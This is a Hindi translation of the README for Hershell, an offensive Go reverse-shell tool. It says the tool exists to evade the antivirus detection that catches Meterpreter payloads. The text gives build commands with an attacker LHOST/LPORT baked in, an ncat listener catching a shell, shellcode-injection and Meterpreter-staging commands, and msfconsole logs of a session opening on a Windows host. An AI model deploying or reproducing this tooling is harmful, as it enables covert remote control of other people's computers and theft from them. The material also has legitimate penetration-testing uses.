
Hershell एक सरल TCP रिवर्स शेल है जो Go में लिखा गया है।
नोट: इस प्रोजेक्ट को इस रेपो पर फोर्क किया गया है, किसी भी अन्य विकास के लिए वहाँ देखें।
Hershell एक सरल TCP रिवर्स शेल है जिसे Go में लिखा गया है।
यह संचार को सुरक्षित करने के लिए TLS का उपयोग करता है, और ट्रैफिक इंटरसेप्शन को रोकने के लिए एक सर्टिफिकेट पब्लिक की फिंगरप्रिंट पिनिंग सुविधा प्रदान करता है।
समर्थित OS हैं:
हालांकि मीटरप्रेटर पेलोड महान हैं, वे कभी-कभी एंटीवायरस उत्पादों द्वारा पहचाने जाते हैं।
इस प्रोजेक्ट का लक्ष्य एक सरल रिवर्स शेल प्राप्त करना है, जो कई सिस्टम पर काम कर सके।
चूंकि यह Go में लिखा गया है, आप वांछित आर्किटेक्चर के लिए स्रोत को क्रॉस कंपाइल कर सकते हैं।
चूंकि यह एक Go प्रोजेक्ट है, आपको अपने Golang वातावरण को सेट करने के लिए आधिकारिक दस्तावेज़ीकरण का पालन करना होगा ( $GOPATH एनवायरनमेंट वेरिएबल के साथ)।
फिर, प्रोजेक्ट लाने के लिए बस go get github.com/sysdream/hershell चलाएँ।
चीजों को सरल बनाने के लिए, आप प्रदान की गई Makefile का उपयोग कर सकते हैं। आप निम्नलिखित एनवायरनमेंट वेरिएबल सेट कर सकते हैं:
GOOS : लक्ष्य OSGOARCH : लक्ष्य आर्किटेक्चरLHOST : हमलावर IP या डोमेन नामLPORT : लिसनर पोर्टGOOS और GOARCH वेरिएबल के लिए, आप अनुमत मान यहाँ प्राप्त कर सकते हैं।
हालांकि, Makefile में कुछ सहायक टारगेट उपलब्ध हैं:
depends : सर्वर सर्टिफिकेट उत्पन्न करें (रिवर्स शेल के लिए आवश्यक)windows32 : विंडोज 32 बिट का एक्जीक्यूटेबल बनाता है (PE 32 बिट)windows64 : विंडोज 64 बिट का एक्जीक्यूटेबल बनाता है (PE 64 बिट)linux32 : लिनक्स 32 बिट का एक्जीक्यूटेबल बनाता है (ELF 32 बिट)linux64 : लिनक्स 64 बिट का एक्जीक्यूटेबल बनाता है (ELF 64 बिट)macos32 : मैक ओएस 32 बिट का एक्जीक्यूटेबल बनाता है (Mach-O)macos64 : मैक ओएस 64 बिट का एक्जीक्यूटेबल बनाता है (Mach-O)उन टारगेट के लिए, आपको बस LHOST और LPORT एनवायरनमेंट वेरिएबल सेट करने की आवश्यकता है।
एक बार निष्पादित होने पर, आपको एक रिमोट शेल प्रदान किया जाएगा।
यह कस्टम इंटरैक्टिव शेल आपको विंडोज पर cmd.exe, या UNIX मशीनों पर /bin/sh के माध्यम से सिस्टम कमांड निष्पादित करने की अनुमति देगा।
निम्नलिखित विशेष कमांड समर्थित हैं:
run_shell : आपको एक सिस्टम शेल प्रदान करता है (उदाहरण के लिए, निर्देशिकाएँ बदलने की अनुमति देता है)inject <base64 shellcode> : उसी प्रक्रिया मेमोरी में एक शेलकोड (base64 एन्कोडेड) इंजेक्ट करता है, और उसे निष्पादित करता है (फिलहाल केवल विंडोज पर)।meterpreter [tcp|http|https] IP:PORT : मेटास्प्लॉइट से स्टेज2 रिवर्स tcp, http या https मीटरप्रेटर प्राप्त करने के लिए multi/handler से कनेक्ट करता है, और मेमोरी में शेलकोड निष्पादित करता है (फिलहाल केवल विंडोज पर)exit : सुरक्षित रूप से बाहर निकलेंसबसे पहले, आपको एक मान्य सर्टिफिकेट उत्पन्न करने की आवश्यकता होगी:
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
विंडोज के लिए:
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234
लिनक्स के लिए:
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234
मैक ओएस एक्स के लिए
$ make macos LHOST=192.168.0.12 LPORT=1234
आने वाले कनेक्शनों को संभालने के लिए विभिन्न उपकरणों का उपयोग कर सकते हैं, जैसे:
python/shell_reverse_tcp_ssl payload)यहाँ ncat के साथ एक उदाहरण है:
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
चेतावनी: यह वर्तमान में केवल विंडोज प्लेटफॉर्म के लिए काम करता है।
मीटरप्रेटर स्टेजिंग वर्तमान में निम्नलिखित पेलोड का समर्थन करता है:
windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_httpwindows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_httpsसही का उपयोग करने के लिए, बस वह ट्रांसपोर्ट निर्दिष्ट करें जिसका आप उपयोग करना चाहते हैं (tcp, http, https)
मीटरप्रेटर स्टेजिंग सुविधा का उपयोग करने के लिए, बस अपना हैंडलर शुरू करें:
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
फिर, hershell में, meterpreter कमांड का उपयोग करें:
[hershell]> meterpreter https 172.16.122.105:8443
एक नया मीटरप्रेटर सत्र msfconsole में दिखाई देना चाहिए:
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
Ronan Kervella <r.kervella -at- sysdream -dot- com>